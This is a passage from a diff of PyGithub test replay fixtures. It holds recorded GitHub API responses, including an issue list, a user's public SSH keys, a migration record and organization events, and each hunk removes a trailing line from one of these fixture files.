repo.name\n...\n \nTraceback (most recent call last):\n File \"\", line 1, in \n File \"build/bdist.macosx-10.7-intel/egg/github/Organization.py\", line 311, in get_repos\n File \"build/bdist.macosx-10.7-intel/egg/github/Requester.py\", line 60, in requestAndCheck\n File \"build/bdist.macosx-10.7-intel/egg/github/Requester.py\", line 76, in requestRaw\nAssertionError\n\n```\n\nIs this because of my lack of knowledge about python, or is there something else going on here ? \n\nWhat I would like to do is be able to get a list of the hooks in all the repos in an organization and also go through that list of repos in an organization and be able to create hooks. \n\n\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/events","html_url":"https://github.com/jacquev6/PyGithub/issues/77","id":6780606,"number":77,"title":"No ability to fetch specific page with search api","user":{"login":"kukuts","id":1831238,"avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9be6ba907be1740213b69422fdf52b57","url":"https://api.github.com/users/kukuts","html_url":"https://github.com/kukuts","followers_url":"https://api.github.com/users/kukuts/followers","following_url":"https://api.github.com/users/kukuts/following{/other_user}","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","organizations_url":"https://api.github.com/users/kukuts/orgs","repos_url":"https://api.github.com/users/kukuts/repos","events_url":"https://api.github.com/users/kukuts/events{/privacy}","received_events_url":"https://api.github.com/users/kukuts/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":16,"created_at":"2012-09-11T03:44:18Z","updated_at":"2012-09-12T19:24:37Z","closed_at":"2012-09-12T19:24:37Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"legacy_search_repos - keyword and language but no start_page parameter\nHow to get eg 3rd page right?"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetKeys.txt b/tests/ReplayData/AuthenticatedUser.testGetKeys.txt index 16cf1d959a..531ffd4590 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetKeys.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetKeys.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '1968'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"753b62ed1eedc0d39ebd312719104dd1"'), ('date', 'Sat, 26 May 2012 20:18:14 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/user/keys/688586","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC262QAZ3rvJ7KySFEHUQYGfntylusL03x/ULKdVaSltc3Z2xvWm4zQSLHrWrdUbRN9z9kMpHWZZ2G+pvUPcY/qijbqtwg9FwBHNZoviq65LujKyQeegFXQKhGGaesDeKKC+jTXbg2NJY6+u5HLe4Je8q45VVHyAfltcuSE2QoCim50toyGUGWhcIDz/2mQYpy1wtkehQA6TeC55UE00TSU06E9glnqVi8hjDlsA7DABqyctG/sjP79OwUMBppiXYX2B0RJMtRHZ+5chsHx8oqavux1oG/tdTw9ZSAfKUHfDrN97x9PB38F3j8s60S2udRwLEYuErlF1JizTF4XOZhD","verified":true,"title":"vincent@home","id":688586},{"url":"https://api.github.com/user/keys/688598","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3CG7CI2EKMS6xeHgj1lC9tkjDJRotG9ZB7E/YbMy0l15I+ReiM5cQvYhivK2myJh7uiMBPa/VjowhZb7DvitZF8aUa99zHCygKDvN/XBl2nMEY8A01BmG6/JGlP1fgU1HdbULn1E6j0a+mYIFlpDzOFKTJqR25OzngOFC4VYiPVnoyH+uPZWWeOMPgdiJxAEWKs267OjXeikYfYE2xQN9M3a1EHitkwWOeVNKIqDTxoAU8f+Ifl4Cchq4mF56pWETSsj4hQ9YhXtzI8Grun0ZoYZM/cLPLo5rSi++FAJNU2T9yc/0G75DKEYH9UroLSQBua7KF+ixrIEtD6hI4gxDQ==","verified":true,"title":"vincent@gandi","id":688598},{"url":"https://api.github.com/user/keys/2403448","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+jbASXi+PhE7GpBuKEH0qC+02J8L20A9CscleT5GUXKpZSbvxmsU0XLz95kYIBVUfrmTdn3PBn6FMK2OTWpxF9gt9DKclidkv2xfA1RkqnNVpMvZbzBMDmJcWo/lae+arQVJ26O1pbZjPH56c0cYvhblsoZnI1kCFatiJ3MOUeD2zCDylsfQ8zgLKA5yj0HRC3n5cPe9nIVWXnJQ1two4GHmxE7zue+hikYB7PQvaldGKTmHX04ODyZpyFOd86cvjiftN3G39POr2vh52jBwj4oLAiF89SC3QxQes8+zF00jOmnFUlONup0nLvJg4t/ij0M2kr5cqca7pMP+QfZp","verified":true,"title":"vincent@aws","id":2403448},{"url":"https://api.github.com/user/keys/2427679","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNQS4cnMOsGKJXBZ7DQ+6dzAHXwNYjw9W5aoonjr4pK7C9xvRPqA7QyQHub8fiYD6uj7OM8FLQgoMH1ewQULuQdH1JPkzjxPw5UpFn8eQaKOVlBkfGCiNaUOTejt5gxMrNZfPJmh2PnhsU+WXAyNNARor8CDnAmdgzHmaKKtMnRpVUJeIqKmgXhjx9lON5dZFyQGY9KIiR5gA/GWE9dFRHULoc+0gLEAR7AJ3emh55x4pqsURJpc2cdZ/X213l4Qk7HP2s7QIcihlbuxDJG9UTwjWlcIwjlQzarzhiRSyH9F3YmlT3THAdtDYX9imiBpEP52CPYNfDGrzzhbUqYj3r","verified":true,"title":"vincent@macbook","id":2427679}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetMigrations.txt b/tests/ReplayData/AuthenticatedUser.testGetMigrations.txt index 192c94530b..9e2f58d033 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetMigrations.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetMigrations.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 14:26:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1536851865'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"13afe069c96184cd23d268d9b9f2f769"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.075443'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7907:1FE0:A9FC22:18E10B7:5B9A738E')] [{"id":25308,"node_id":"MDk6TWlncmF0aW9uMjUzMDg=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"cb974334-b760-11e8-9900-466f9e1633d8","state":"exported","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T14:24:59Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25308","archive_url":"https://api.github.com/user/migrations/25308/archive","created_at":"2018-09-13T19:54:59.000+05:30","updated_at":"2018-09-13T19:55:10.000+05:30"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetNotificationsWithOtherArguments.txt b/tests/ReplayData/AuthenticatedUser.testGetNotificationsWithOtherArguments.txt index de6e963cbd..c82d5ae695 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetNotificationsWithOtherArguments.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetNotificationsWithOtherArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '2'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 19 Mar 2013 21:05:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetOrganizationEvents.txt b/tests/ReplayData/AuthenticatedUser.testGetOrganizationEvents.txt index 13ffcbb025..16b7e7665e 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetOrganizationEvents.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetOrganizationEvents.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '31370'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"61ca146024fe83f06b9930f23033224f"'), ('date', 'Sat, 26 May 2012 20:14:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/CreatedByPyGithub","id":3616888,"name":"BeaverSoftware/CreatedByPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-04T08:17:15Z","id":"1526182616","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/CreatedByPyGithub","id":3610173,"name":"BeaverSoftware/CreatedByPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T11:16:34Z","id":"1526021988","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"390bcc2b855d419e9fd6727049aa9217db56a06a","size":1,"push_id":65381113,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/390bcc2b855d419e9fd6727049aa9217db56a06a","message":"This commit was created by PyGithub","distinct":true,"sha":"390bcc2b855d419e9fd6727049aa9217db56a06a"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:57:40Z","id":"1526010140","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","size":2,"push_id":65381112,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","message":"This commit was created by PyGithub","distinct":false,"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271"},{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/1c29d761d3e929afcbf8c6cc44b8181068d2d974","message":"This commit was created by PyGithub","distinct":false,"sha":"1c29d761d3e929afcbf8c6cc44b8181068d2d974"}],"ref":"refs/heads/previous_master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:57:39Z","id":"1526010139","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"previous_master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:56:56Z","id":"1526010100","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"tag","ref":"tagCreatedByPyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:54:25Z","id":"1526009934","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"1c29d761d3e929afcbf8c6cc44b8181068d2d974","size":1,"push_id":65380919,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/1c29d761d3e929afcbf8c6cc44b8181068d2d974","message":"This commit was created by PyGithub","distinct":true,"sha":"1c29d761d3e929afcbf8c6cc44b8181068d2d974"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:52:06Z","id":"1526009779","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","size":2,"push_id":65380918,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/2f51005d80353b3b82cc23908ea4fc7a91230e2f","message":"This commit was created by 